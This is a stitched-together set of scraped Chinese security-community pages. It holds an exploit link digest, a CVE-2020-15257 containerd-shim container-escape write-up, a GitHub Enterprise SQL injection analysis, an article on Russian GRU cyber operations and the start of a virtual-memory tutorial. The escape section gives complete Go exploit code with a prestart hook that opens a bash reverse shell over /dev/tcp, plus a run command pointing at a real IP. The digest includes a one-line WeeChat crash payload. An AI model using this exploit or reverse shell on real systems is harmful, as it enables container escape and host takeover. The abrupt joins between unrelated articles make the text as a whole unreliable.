**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
WordPress Core -RCE PoC Exploit (video) 无需插件和认证
<https://youtu.be/ZFt_S5pQPX0>
比较“81端口的botnet”和 MIRAI 之间的联系
<http://blog.netlab.360.com/the_difference_between_http81_botnet_and_mirai/>
Android应用逆向101
<https://www.evilsocket.net/2017/04/27/Android-Applications-Reversing-101/>
内网安全——利用NSA Smbtouch批量检测内网
<https://3gstudent.github.io/3gstudent.github.io/%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8-%E5%88%A9%E7%94%A8NSA-Smbtouch%E6%89%B9%E9%87%8F%E6%A3%80%E6%B5%8B%E5%86%85%E7%BD%91/>
Mehdi Talbi & Paul Fariello – VM escape – QEMU Case Study
<http://www.phrack.org/papers/vm-escape-qemu-case-study.html>
Windows提权思路总结
<http://blog.mokirin.com/2017/04/27/windows%E6%8F%90%E6%9D%83%E6%80%9D%E8%B7%AF%E6%80%BB%E7%BB%93/>
绕过ios锁屏漏洞的总结
<http://blog.dinosec.com/2014/09/bypassing-ios-lock-screens.html>
编写高质量的Windows Shellcode
<https://dimitrifourny.github.io/2017/04/28/optimized-windows-shellcode/>
CVE-2017-8073 POC ：WeeChat 1.7.1之前远程crash
/exec -o /bin/echo -e "x01DCC SEND " 1.2.3.4 1337 1×01
雅虎为 Flickr 账户劫持漏洞（三处漏洞结合使用）支付7000刀
<http://blog.mish.re/index.php/2017/04/29/yahoo-bug-bounty-chaining-3-minor-issues-to-takeover-flickr-accounts/>
Apple iOS 10.3控制面板拒绝服务漏洞
<https://www.vulnerability-lab.com/get_content.php?id=2059>
十五种方式打破RSA的安全性
<https://github.com/comaeio/OPCDE/blob/master/15_ways_to_break_RSA_Security/opcde2017-ds-lifchitz-break_rsa.pdf>
UAC bypass的研究总结
<https://www.peerlyst.com/posts/wiki-uac-bypasses-and-uac-bypass-research-nic-cancellari>
利用.NET管理DCOM对象模型
<https://googleprojectzero.blogspot.in/2017/04/exploiting-net-managed-dcom.html>
英特尔®AMT，英特尔®SBA或支持英特尔®ISM功能的系统存在权限提升漏洞
[https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr](https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr)
defcon 2017 liberty writeup
<https://github.com/deroko/liberty>
一个漏洞信息检索网站
<https://vulners.com/>
如何使用Nmap与Meterpreter双剑合璧
<http://www.blackhillsinfosec.com/?p=5897>
上周jenkins修的反序列化RCE的漏洞细节和POC
<https://blogs.securiteam.com/index.php/archives/3171>
2017年5月 Android安全公告
<https://source.android.com/security/bulletin/2017-05-01>
UIUCTF 2017 – ZippyPic Writeup
<https://jbzteam.github.io/web/UIUC2017-ZippyPics>
AMSI bypass via COM hijacking
<https://gist.githubusercontent.com/enigma0x3/00990303951942775ebb834d5502f1a6/raw/783a9b43f52f8f65f30edea707c79d9914b6f6f5/amsi_bypass.reg>
在C中使用LoadLibrary进行DLL注入
<https://arvanaghi.com/blog/dll-injection-using-loadlibrary-in-C/>
Outlook：从表单到获取shell
<https://sensepost.com/blog/2017/outlook-forms-and-shells/>
Sanic Web框架任意文件读取漏洞分析
[https://mp.weixin.qq.com/s?__biz=MzIxODIzNzgwMw==&mid=2654056186&idx=1&sn=ae10828fcc1a0308e2563367e709c85d](https://mp.weixin.qq.com/s?__biz=MzIxODIzNzgwMw==&mid=2654056186&idx=1&sn=ae10828fcc1a0308e2563367e709c85d)
恶意样本分析手册——工具篇
<http://blog.nsfocus.net/malicious-sample-analysis-manual-tool-1/>
<http://blog.nsfocus.net/malicious-sample-analysis-manual-tool-2/>
HookCase是一个用于在MacOS上进行调试和逆向工程应用的工具
<https://github.com/steven-michaud/HookCase>
Running programs via Proxy & jumping on a EDR-bypass trampoline
<http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/>
绕过Windows附件管理器
<http://www.rvrsh3ll.net/blog/informational/bypassing-windows-attachment-manager/>
DEFCON CTF QUALIFIERS 2017 – Crackme 2000
<https://github.com/sinfocol/ctfs/tree/master/writeups/2017/defcon-qualifiers/crackme-2000>
leakbase.pw泄漏的访问日志
<http://siph0n.net/exploits.php?id=4976>
在Metasploit中远程利用Eternalblue和Dualpulsar Exploit
<http://www.hackingarticles.in/exploit-remote-windows-pc-eternalblue-doublepulsar-exploit-metasploit/> | 社区文章 |
## CVE-2020-15257
漏洞原理、基础知识请阅读以下链接，不再展开：
* <https://medium.com/nttlabs/dont-use-host-network-namespace-f548aeeef575>
或者中文的：
* <https://mp.weixin.qq.com/s/iNziquZJxcox9453jF8LOg>
简要来说，containerd->containerd-shim->runc 的通信模型中，containerd-shim的接口作为abstract
unix socket暴露，在docker使用net=host参数启动、与宿主机共享net namespace时，其中的unix
socket可以被容器内部访问到，容器中攻击者通过该socket可以通过API控制下游runc进程启动新的恶意镜像，并通过该镜像逃逸。
## POC
这个漏洞POC比较简单，只要探测到docker内部有containerd-shim启动的unix socket即可确认。
* <https://github.com/summershrimp/exploits-open/tree/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257>
package main
import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"
"github.com/containerd/ttrpc"
"github.com/gogo/protobuf/types"
)
func exp(sock string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}
client := ttrpc.NewClient(conn)
shimClient := NewShimClient(client)
ctx := context.Background()
info, err := shimClient.ShimInfo(ctx, &types.Empty{})
if err != nil {
log.Println("rpc error:", err)
return false
}
log.Println("shim pid:", info.ShimPid)
return true
}
func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}
func main() {
matchset := make(map[string]bool)
socks, err := getShimSockets()
if err != nil {
log.Fatalln(err)
}
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname) {
break
}
}
return
}
这里通过docker内部/proc/net/unix中匹配固定socket即可判断是否存在漏洞，进一步可以创建shim
cliet通过grpc(ttrpc)协议调用API，这里调用`shimClient.ShimInfo`作为POC是因为这个接口简单，不需要传参，可以通过返回值进一步确认该socket可用。
这个漏洞原理简单、poc简单、难点在于利用，exp要对docker启动的内部过程非常了解，并模拟出全部docker启动所必须的参数，在其中构造逃逸点。
截止本篇完稿，目前未见公开的exp代码。
## 已有的Exp思路
* <https://research.nccgroup.com/2020/12/10/abstract-shimmer-cve-2020-15257-host-networking-is-root-equivalent-again/>
漏洞发现者指出通过启动新镜像mount宿主机文件，再写宿主机文件如/etc/crontab完成逃逸，这里问题有：
1. config.json生成的时候需要传参，rootfs和mount的id字段需要动态指定，而且rootfs需要一个本地的文件支撑，在容器内部模拟这个环境略显复杂。
## 新的思路
* 适配rootfs环境并重启一个定制化的镜像过于复杂，自动化困难，那么我们能否不启动容器的情况下直接接管containerd-shim进程呢？
笔者在构造config.json模拟镜像启动过程中，从常规docker run生成的config.json中发现以下字段同时存在command input：
文档中发现这个shell可以在容器未落地之前执行：
* <https://github.com/tianon/oci-runtime-spec/blob/master/config.md#hooks>
> Prestart
>
> The pre-start hooks MUST be called after the start operation is called but
> before the user-specified program command is executed. On Linux, for
> example, they are called after the container namespaces are created, so they
> provide an opportunity to customize the container (e.g. the network
> namespace could be specified in this hook).
## 最终利用代码
package exploit
import (
"context"
"errors"
"github.com/Xyntax/CDK/pkg/lib"
"github.com/Xyntax/CDK/pkg/util"
shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
"github.com/containerd/ttrpc"
"io/ioutil"
"log"
"net"
"regexp"
"strings"
)
var configJson = `
{
"ociVersion": "1.0.1-dev",
"process": {
"terminal": true,
"user": {
"uid": 0,
"gid": 0
},
"args": [
"/bin/bash"
],
"env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"HOSTNAME=b6cee9b57f3b",
"TERM=xterm"
],
"cwd": "/"
},
"root": {
"path": "/tmp"
},
"hostname": "b6cee9b57f3b",
"hooks": {
"prestart": [
{
"path": "/bin/bash",
"args": ["bash", "-c", "bash -i >& /dev/tcp/$RHOST$/$RPORT$ 0>&1"],
"env": ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]
}
]
},
"linux": {
"resources": {
"devices": [
{
"allow": false,
"access": "rwm"
}
],
"memory": {
"disableOOMKiller": false
},
"cpu": {
"shares": 0
},
"blockIO": {
"weight": 0
}
},
"namespaces": [
{
"type": "mount"
},
{
"type": "network"
},
{
"type": "uts"
},
{
"type": "ipc"
}
]
}
}
`
func exp(sock,rhost,rport string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}
client := ttrpc.NewClient(conn)
shimClient := shimapi.NewShimClient(client)
ctx := context.Background()
// config.json file /run/containerd/io.containerd.runtime.v1.linux/moby/<id>/config.json
// rootfs path /var/lib/docker/overlay2/<id>/merged
localBundlePath := "/tmp"
dockerAbsPath := GetDockerAbsPath()+"/merged"+localBundlePath
configJson = strings.Replace(configJson,"$RHOST$",rhost,-1)
configJson = strings.Replace(configJson,"$RPORT$",rport,-1)
err = ioutil.WriteFile(localBundlePath+"/config.json", []byte(configJson), 0666)
if err != nil {
log.Println("failed to write file.", err)
return false
}
var M = shimapi.CreateTaskRequest{
ID: util.RandString(10), // needs to be different in each exploit
Bundle: dockerAbsPath, // use container abspath so runc can find config.json
Terminal: true,
Stdin: "/dev/null",
Stdout: "/dev/null",
Stderr: "/dev/null",
}
info, err := shimClient.Create(ctx, &M)
if err != nil {
log.Println("rpc error:", err)
return false
}
log.Println("shim pid:", info.Pid)
return true
}
func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}
func mainContainerdPwn(rhost string,rport string) {
matchset := make(map[string]bool)
socks, err := getShimSockets()
if err != nil {
log.Fatalln(err)
}
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname,rhost,rport) {
break
}
}
return
}
// plugin interface
type containerdShimPwnS struct{}
func (p containerdShimPwnS) Desc() string {
return "pwn CVE-2020-15257,start a privileged reverse shell to remote host. usage: ./cdk shim-pwn <RHOST> <RPORT>"
}
func (p containerdShimPwnS) Run() bool {
args := lib.Args["<args>"].([]string)
if len(args) != 2 {
log.Println("invalid input args.")
log.Fatal(p.Desc())
}
rhost := args[0]
rport := args[1]
log.Printf("tring to spawn shell to %s:%s\n",rhost,rport)
mainContainerdPwn(rhost,rport)
return true
}
func init() {
plugin := containerdShimPwnS{}
lib.Register("shim-pwn", plugin)
}
集成在我的容器渗透工具里，可自行下载测试:
* <https://github.com/Xyntax/CDK/blob/main/pkg/exploit/containerd-shim-pwn.go>
有个细节，要让宿主机找到容器内部的config.json，需要向宿主机传递容器内部文件的绝对路径。
## 测试步骤：
宿主机：随便启动一个容器，让containerd-shim的unix socket暴露出来
docker run -d -it ubuntu /bin/bash
现在要启动一个容器，我们通过exp逃逸这个容器：
docker run --rm --net=host -it ubuntu /bin/bash
这个容器包含CVE-2020-15257的利用条件——net namespace与宿主机共享。
进入容器，植入我们的渗透工具 (<https://github.com/Xyntax/CDK/releases/tag/0.1.6>)
在容器中执行exp，自动搜索可用的socket并反弹宿主机的shell到远端服务器，完成逃逸：
./cdk_linux_amd64 run shim-pwn 47.104.151.168 111
成功逃逸并反弹shell： | 社区文章 |
GitHub企业版是GitHub.com的本地版，几乎提供了GitHub的所有功能。通过GitHub的网站可以下到使用45天的VM：链接：
enterprise.github.com。开启成功后的界面是这样的：
**环境**
开始前，我们用nmap意思意思，扫描到端口情况如下：
具体如下：
22/tcp和9418/tcp 这两个端口类似haproxy，会连接到一个后台服务babeld上
80/tcp和443/tcp 是GitHub的服务
122/tcp 是SSH服务
8443/tcp 是GitHub的管理控制台
顺便提下，GitHub的管理控制端需要账号密码登录。有了账号密码，就能通过ssh key登录到VM的122端口
SSH登陆了上虚拟机后。可以看到目录结构如下图：
进入/data/目录，查看源代码，发现代码全被加密了，日：
GitHub使用了一个库来加密源代码，如果你google查找ruby_concealer.so
就能找到一个关键脚本：<https://gist.github.com/geoff-codes/02d1e45912253e9ac183>
看起来，他只是简单的吧ruby_concealer.so中的rb_f_eval换成rb_f_puts，然后就可以工作了.但是，我们接下来用IDA
Pro进一步看看他的原理：
可以看到，他是使用Zlib::Inflate::inflate来对数据进行解压，如果对其进行异或运算，就会出现一下提示：
这样，我们可以很容易将其解密：
**代码分析**
解码所有的源代码后，我们就可以开始代码审计工作了：
代码是用Ruby写的
/data/github/ 看起来是80和443上跑的web应用，并且看起来是github.com， gist.github.com 和api.github.com 这三个站点的代码
/data/render/ 看起来是render.githubusercontent.com上的代码
/data/enterprise-manage/ 看起来是8443上跑的程序
**漏洞**
SQL注入是在GitHub企业版的PreReceiveHookTarge模板中找到的。
问题根源是在/data/github/current/app/model/pre_receive_hook_target.rb第45行
这里使用到的是内置的ORM（在Rails中叫做ActiveRecored），尽管Rails有针对SQL注入进行防御，但是，如果大量使用ActiveRecored的话，也可能出现SQL注入。
当然，你可以通过<http://rails-sqli.org/网站来学习更多Rails中的SQL注入案例。这里，我们将order参数改成SQL注入的Payload。在/data/github/current/app/api/admin/pre_receive_hooks.rb的61行会调用到了sorted_by函数。>
可以看到，params[:sort]被传入到scope.sorted_by中，因此，我们可以在params[:sort]中注入恶意代码。在测试前，我们需要用admin:pre_receive_hook账号通过API得到一个access_token，如下：
通过这个access_token，我们就能进一步触发漏洞。
本文翻译于orange，如若转载，请注明来源于嘶吼： http://www.4hou.com/technology/2941.html | 社区文章 |
# 从美国咨询公司博思艾伦报告看俄罗斯网络作战
##### 译文声明
本文是翻译文章，文章原作者 Cismag，文章来源：信息安全与通信保密杂志社
原文地址：<https://mp.weixin.qq.com/s/aq7mFjsz_sT8JqWFHRSwHQ>
译文仅供参考，具体内容表达以及含义原文为准。
转载： [信息安全与通信保密杂志社 ](https://mp.weixin.qq.com/s/aq7mFjsz_sT8JqWFHRSwHQ)
引用本文：罗仙,胡春卉,霍家佳.从美国顶尖信息技术咨询公司博思艾伦报告看俄罗斯网络作战[J].信息安全与通信保密,2020(9):85-91.
摘
要：俄罗斯联邦军队总参谋部情报总局是俄罗斯最大的军事情报部门，多年来俄罗斯军方利用该组织在全球范围内进行网络作战，以支持其外交政策。2020年3月，美国顶尖信息技术咨询公司博思艾伦发布报告披露俄罗斯军事情报组织GRU，基于此报告，首先概述了GRU组织在过去15年间的网络攻击行为及3个典型案例，其次剖析了该组织发动网络攻击与俄罗斯政治诉求之间的内在逻辑关系，最后简要总结了几点认识。
## 引言
2020年3月11日，美国“网络空间日光浴委员会”提出“分层网络威慑”战略，要求美国必须主动发现、追踪和反制对手低于武装冲突阈值下的行动并施加代价，其中提及俄罗斯网络干预选举等行为。2020年是美国第59届总统选举年，为严防“网络干预选举”事件的重演，美国联邦政府、各州政府高度警惕，在加强立法、资金援助、技术支持等方面采取了积极措施；美国网络安全企业等也不断揭露俄罗斯的网络作战行动，以提升警惕、加强防范。
基于此背景，2020年3月27日，美国顶尖信息技术咨询公司博思艾伦（Booz Allen
Hamilton）发布了一份研究报告《揭露俄罗斯军事网络作战背后的逻辑》。该公司成立于1914年，于成立之年在全球首次提出“管理咨询”的概念。截至目前，博思艾伦已发展成为由约2.63万名科学家、工程师、软件开发人员、技术人员和咨询顾问组成的大型信息技术咨询公司，公司年收入逾40亿美元。根据该公司官网的最新介绍来看，核心业务主要聚焦于咨询服务、数字化解决方案、分析工具、工程和网络安全五大方面。
博思艾伦的这份报告瞄准俄罗斯三大情报机构之一的俄罗斯联邦军队总参谋部情报总局（GRU），以《俄罗斯联邦军事学说》为“突破口”，通过开源情报，细数了GRU在2004年至2019年间开展的网络攻击行为。报告认为俄罗斯军方十余年来利用其情报组织在全球范围内支持其外交政策，网络行动与军事安全策略不谋而合。报告采取“战略顶层切入、广泛政治背景融入、大量经典案例分析”的研究方法，将看似零散、隐蔽的网络行为与俄罗斯外交、军事策略进行了逻辑性关联，值得学习和借鉴。同时，报告中提及的经典案例为研究俄罗斯网络作战提供了很好的指引。
## 报告主要内容
报告首先概述了GRU在过去15年间的网络攻击行为以及俄罗斯联邦军事学说列举的18种军事风险和5种军事威胁，其次通过33个案例研究来重新审视与剖析GRU网络攻击行为与俄罗斯政治诉求之间的内在逻辑关系，最后得出结论——俄罗斯军方利用其情报组织在全球范围内发动网络攻击，以支撑外交战略、维护政治利益，俄罗斯军事情报组织的网络行动与其军事安全策略不谋而合。
### 1.1 俄罗斯军事学说及军事风险威胁概述
俄罗斯联邦军事学说（简称“军事学说”）是俄罗斯定期发布的重要战略规划文件，现行的军事学说是普京总统2014年12月签署通过的第四版文件。2014版的军事学说包含两个重要章节，分别明确了俄军必须应对的内外部环境和现代化军队的行动方式，同时概括了俄军可能进行网络作战的情况及系列作战特点。报告认为，充分理解军事学说对于评估GRU的网络行动至关重要，以军事学说为框架模型，可以将过去或正在发生的GRU网络攻击与政治环境联系起来，并预测GRU未来的网络攻击行为。
**1.1.1 军事学说明确23类外部军事风险和内部军事威胁**
军事风险是指为武装冲突创造条件的行为或情况。军事学说列举了18种军事风险，包括外部14种和内部4种。具体来看，外部军事风险包括：北约组织扩张、全球或区域不稳定、部署毗邻俄罗斯或其盟国的军事力量、破坏俄罗斯战略威慑力量、侵犯俄罗斯及其盟国领土或主权、大规模杀伤性武器或导弹技术、违背国际条约、近俄罗斯武装冲突、近俄罗斯外国军队、恐怖主义增长、种族宗教或文化分歧、对俄罗斯发动信息作战、建立毗邻俄罗斯的敌对国家、对俄罗斯发动政治颠覆活动。内部军事风险包括：俄罗斯政治冲突的挑衅、分裂主义和宗教恐怖主义、破坏俄罗斯历史精神和爱国传统、与俄罗斯文化冲突。
军事威胁是指可能直接导致武装冲突的行为或情况。军事学说列举了5种外部军事威胁，这些威胁是由故意敌视俄罗斯利益的外交或军事行动构成的，俄军应采取军事响应措施消除或应对这些威胁，以防止冲突发生。军事威胁包括：国家间关系急剧恶化、破坏俄罗斯关键军事领域或关键部门、支持对俄罗斯武装叛乱、毗邻俄罗斯军演、战备状态升级。
**1.1.2 网络作战在军事响应中表现为识别和应对风险威胁**
俄罗斯授权军队可参与确定和应对潜在的军事风险和威胁。一是识别和评估潜在的风险和威胁。列举了1个军事交战特点，网络作战在此阶段的重要性主要表现在利用信息技术开展间谍活动，对全球政治、外交和军事环境进行持续评估。二是应对具体的风险和威胁。列举了9大军事交战特点，如非对称战争、操纵社会或政治环境、高精度破坏性攻击等，网络作战在此阶段的重要性主要表现在：利用网络颠覆性技术使得在更少的兵力和物资条件下致胜、通过故意的数据泄漏和虚假信息散布损害政治目标声誉、以精确瞄准造成针对性的破坏等。
**1.1.3 信息对抗成为混合战争的新范式之一**
报告认为，俄罗斯军事条例和其他支持文件提供了一个作战概念，其特征是混合战争，通常将政治、经济或信息等非动能手段结合起来，以重新塑造对手的社会和政治环境。俄罗斯当前频繁采用的“信息对抗”是此军事战略的新范式之一。GRU网络作战以两类任务为中心：一是信息心理效应，通常由分支机构APT28执行；二是信息技术效应，通常由分支机构沙虫（Sandworm）执行。尽管这两个分支机构的基础设施和工具集通常是分开且不同的，但其偶尔的作战重叠却证明了它们之间具有联系。
### 1.2 GRU网络攻击行为案例研究
报告认为GRU的网络行动反映了该机构的核心目标，即对军事学说中所描述的23种安全风险和威胁进行网络监控、抵消和响应。报告列举了GRU涉及的33个网络攻击行为案例，分析了俄罗斯可能会把这些初始风险或威胁作为军事安全考量的原因。本文选取3个典型案例以简要分析GRU网络行动如何演绎出与俄罗斯军事策略的“如影随形”。
**案例一：“打击敌人”——网络干预对手国家选举。**
俄罗斯长期以来坚决反对北约向东欧和中亚扩张。2016年黑山共和国举行议会选举，旨在加速进入北约组织的进程。为扰乱这场关键选举，GRU对黑山发起网络攻击行动。在选举前三天，GRU对黑山媒体网站、该国最大的电信公司、监控选举进程的非政府组织以及黑山民主社会党等均发起了分布式拒绝服务攻击，试图利用网络手段操纵黑山的政治和社会环境。即便在2017年黑山加入北约组织后，GRU仍针对黑山继续实施网络钓鱼攻击活动。此外，GRU也采用了其他混合战争的手段，如斥巨额资金助长反对派政治团体发动叛乱，被黑山执法部门阻止的物理世界打击活动，如试图袭击议会、暗杀总理、煽动内乱等。由此可见，GRU网络干预对手国家选举与俄罗斯军事学说中抵御北约组织扩张的第一军事准则“不谋而合”。
**案例二：“团结盟友”——多种网络手段力挺叙政府军。**
俄罗斯军事学说把保持盟国稳定政治关系并阻止外国势力扰乱周边列为第二原则。2014年9月，美国开始对伊拉克和大叙利亚伊斯兰国(ISIL)在叙利亚的部队发动空袭。俄罗斯认为美军这一行动对俄罗斯维持全球和区域稳定构成了威胁，于是在2014年12月至2015年2月期间多次恐吓美国军事机构。首先，GRU以叙境内ISIL黑客组织身份针对美国军方和执法机构实施骚扰和恐吓，制造出ISIL会对与反恐行动有着直接或间接关联的美方组织机构进行报复的假象；接着，GRU入侵了马里兰州、新墨西哥州等的媒体网站和社交媒体账户，并利用亲ISIL的图像来丑化这些网站；此外，GRU通过美国中央司令部被黑的社交媒体账户对外泄露了诸多关键信息。GRU采取多种网络手段力挺叙政府军，彰显了军事学说中“保持盟国稳定政治关系”的第二原则。
**案例三：“持续遏制”——网络攻击抵制反俄罗斯政治势力崛起。**
为了应对与西方关系的恶化，GRU开展了无数行动来消除或响应这一军事威胁。与乌克兰不同，俄罗斯对其他西方选举的干预完全集中在利用网络信息制造舆论效应。GRU已采取措施来获得这方面的能力，这可能会导致操纵、破坏选举本身或破坏选举基础设施，如托管统计票数的网站、投票机软件公司以及选民登记数据库等。如2016年美国大选、2017年法国总统选举等案例中，为抵制强烈反对俄罗斯利益的西方政治家的崛起，GRU网络攻击主要起到两大作用：一是利用社交媒体引导舆论走向，加剧政治不稳定态势，如窃取并泄露希拉里、马克龙等政治候选人的电子邮件；二是通过先发制人的行动为最大限度地扩大影响创造机会，窃取选举电子邮件内容的行动在邮件被泄露前几个月就开始了，这使得GRU能通过适时发布邮件内容来最大限度地扩大影响。GRU通过网络攻击遏制反俄政治家，与军事学说中坚决打击反俄势力崛起“高度契合”。
### 1.3 未来预测及防护建议
报告从俄罗斯军事学说视角预判了促使俄罗斯发动军事响应的几个国际政治形势：一是北约继续扩张，GRU可能利用网络行动干扰乌克兰、格鲁吉亚等国的民主进程；二是对中亚利益的竞争导致中俄关系紧张，GRU可能会利用网络间谍监视中亚的政治家、外交官等；三是对东亚地区的重视，GRU可能会监控美在亚太地区的军事演习、外交事务；四是对北极地区的竞争，GRU可能会对试图与北约建立紧密军事关系的非北约北极国家进行破坏性袭击。鉴于此，报告得出结论：GRU是兼具网络安全技术实力与国际政治战略眼光的情报组织，以瞄准数据和系统的方式推进国家长期军事安全目标。
最后，报告从两方面提出了防范网络风险威胁的相关建议：一是应从威胁态势评估、高价值资产识别和威胁建模等方面加强网络风险管理；二是应从持续风险管理、威胁情报和信息共享等方面加强网络防御。
## 几点认识
特朗普政府时期，美俄两国在制裁与反制裁、北约扩张、核威慑、战略平衡等国际热点问题上反复博弈，同时双方在网络空间领域的博弈也持续升温。2019年12月23日，俄罗斯成功举行国家级“断网”演习，其国家基础设施脱离全球网络仍能无间断运行。2020年7月11日，特朗普在接受《华盛顿邮报》的采访中首次公开承认曾于2018年批准了对俄罗斯互联网研究机构（IRA）的网络攻击，此举阻止了IRA的互联网访问，并使IRA在中期选举的几天内基本处于断网状态。从美俄两国在网络空间的系列举措可以见得，网络空间已发展成为政治博弈的新战场，网络战已从幕后走向台前，成为大国博弈青睐的首选范式。报告对GRU组织网络作战行动的深度剖析，无疑是再次敲响了网络战的警钟；反之，俄罗斯网络军事力量建设与运用也加深了我们对其网络战的理解与认识，简要归纳为以下几点。
### 2.1 俄罗斯网络作战能力不断提升
2014年第四版军事学说中，俄罗斯首次将“利用信息和通信技术进行破坏主权、国家领土完整等反国际法活动，干涉俄罗斯联邦邻国的政治制度及实施威胁俄罗斯利益的政策”等非传统安全列入其面临的主要外部威胁，这表明俄罗斯对当前面临的军事威胁有了新的认识和判断，并且高度重视网络空间安全，将其作为俄罗斯军事政策的重要内容。在国际网络空间博弈不断加剧的背景下，GRU以及俄罗斯其他军事机构不断强化网络空间作战能力，并在近15年的作战行动中适度调整和实战化运用，从西方国家和机构披露的俄罗斯两次网络攻击乌克兰电力系统、多次网络干预西方国家的政治选举等案例可见一斑。2019年11月，俄罗斯总统普京签署的“主权网络法”正式生效，该法律要求所有俄罗斯互联网服务提供商都通过由俄罗斯监管机构的特殊服务器来进行流量监管。俄罗斯不断从顶层战略、法规体系、技术支撑等方面来建立和完善全面的网络空间安全保障体系，未来在政府和军队的顶层规划指导下，俄罗斯网络作战能力将不断跃升。
### 2.2 GRU成为维护俄罗斯国家利益的“先锋军”
报告披露的多起GRU网络攻击案例，使我们联想到美国信息安全巨头赛门铁克(Symantec)2018年发布的有关网络间谍组织APT28的调查结果，其主要意见与该报告提出的结论相呼应。当俄罗斯通过多种途径判断国家面临军事学说明确的23类安全风险或威胁时，富有网络空间作战经验的情报机构、防务承包商等都可以按命令参与军事响应。毫无疑问，在网络空间历经百战的GRU会率先充当起“先锋军”的重要角色，以国家级网络攻击手段优先发起攻击，为俄罗斯消除或平衡军事风险和威胁抢占先机。换言之，GRU的网络攻击亦是俄罗斯应对不断变化的国际政治环境所采取的第一道防御机制。
### 2.3 认知域对抗成为俄罗斯网络作战的首选途径
在国际社会高度关注“现代政治战”的大背景下，俄罗斯已意识到瞄准认知域对抗的“非直接干预”已成为国家间冲突的典型模式，因此在军事学说中提出了“广泛利用国民的抗议力量”作为军事风险和威胁的响应手段之一。GRU在2016年美国大选、2016年黑山议会选举、2017年法国总统选举等政治事件中，通过挑衅式的数据泄露或虚假信息来抹黑目标政治候选人的声誉，试图引导选民的政治意向；2015年针对英国广播公司的网络攻击中，GRU在一定程度上煽动了社会分裂的反穆斯林情绪骤然上升。综合来看，在33个案例中，以“操纵社会和政治环境”为目的的网络攻击高达17次，说明俄罗斯把舆论引导、心理干扰等认知域对抗手段作为网络作战的首选途径。
### 2.4 俄罗斯利用“混合战”实现对军事目标的软硬杀伤
俄罗斯军事学说和其他军事文件提供了“混合战”的作战概念，强调利用军事、舆论、媒体、政治和情报等策略多管齐下的“混合战”战术，以最少的成本动摇对手的根基。在报告的案例中，GRU多次以窃取隐私数据、制造虚假信息等网络行动为铺垫，利用各种信息手段展开大规模的心理战和舆论战，赢得政治主动和军事胜利的先机之利；接着瞄准对方的电力系统、选举系统等关键基础设施或武器系统，适时发动精确破坏性的网络攻击，造成系统瘫痪或服务中断。这样一来，通过对意识形态的干扰配合对物理世界的适时打击，俄罗斯实现了对敌方军事和非军事目标的软硬杀伤，其作战效能显著提升。此外，2018年俄军还设立“军事政治管理总局”，旨在提升俄军信息战、舆论战、心理战等能力，从体制机制层面不断提升其混合作战能力。
## 结语
随着网络信息技术发展、国际政治局势变革等因素，网络空间博弈已从黑客攻防、政治诉求发展成为大国政治博弈的重要手段。现代社会对网络空间的高度依赖性导致网络空间存在广泛脆弱性，一方面，网络钓鱼邮件、拒绝服务攻击等网络恶意行为的多样性、复杂度及频次都大幅增加；另一方面，网络空间已渗入人类社会生活乃至意识形态的方方面面，成为意识形态斗争的新战场和主阵地，对国家政治安全也产生严重威胁。博思艾伦对GRU组织的揭露，不仅揭开了俄罗斯网络作战的神秘面纱，反之也敲响了大国网络空间博弈的警钟，亟需从顶层规划、人才培养、技术创新等各个方面加强网络安全能力建设。
作者简介
罗 仙（1991—），女，硕士，工程师，主要研究方向为网络安全战略研究；
胡春卉（1980—），女，硕士，高级工程师，主要研究方向为网络安全战略研究；
霍家佳（1978—），女， 硕士，研究员，主要研究方向为信息安全。
选自《信息安全与通信保密》2020年第9期（为便于排版，已省去原文参考文献） | 社区文章 |
**本文翻译自：[Hack the Virtual Memory: drawing the VM
diagram](https://blog.holbertonschool.com/hack-the-virtual-memory-drawing-the-vm-diagram/)**
# Hack the Virtual Memory: drawing the VM diagram
## Hack虚拟内存之第2章：虚拟内存图解
我们之前讨论过进程的虚拟内存中的内容。今天，我们将通过编写程序打印出各个元素的地址来“重建”（部分）下图。
## 前提
为了完全理解本文，你需要知道：
* C语言的基础知识
* 汇编的基础知识（非必需）
* Linux文件系统和shell的基础知识
* 我们将用到/proc/[pid]/maps文件（查阅 **man proc** 或阅读本系列的第一篇文章： [第0章：C字符串和/proc](https://xz.aliyun.com/t/2478 "第0章：C字符串和/proc")）
## 环境
所有脚本和程序都已经在以下系统上进行过测试：
* Ubuntu 14.04 LTS
* Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
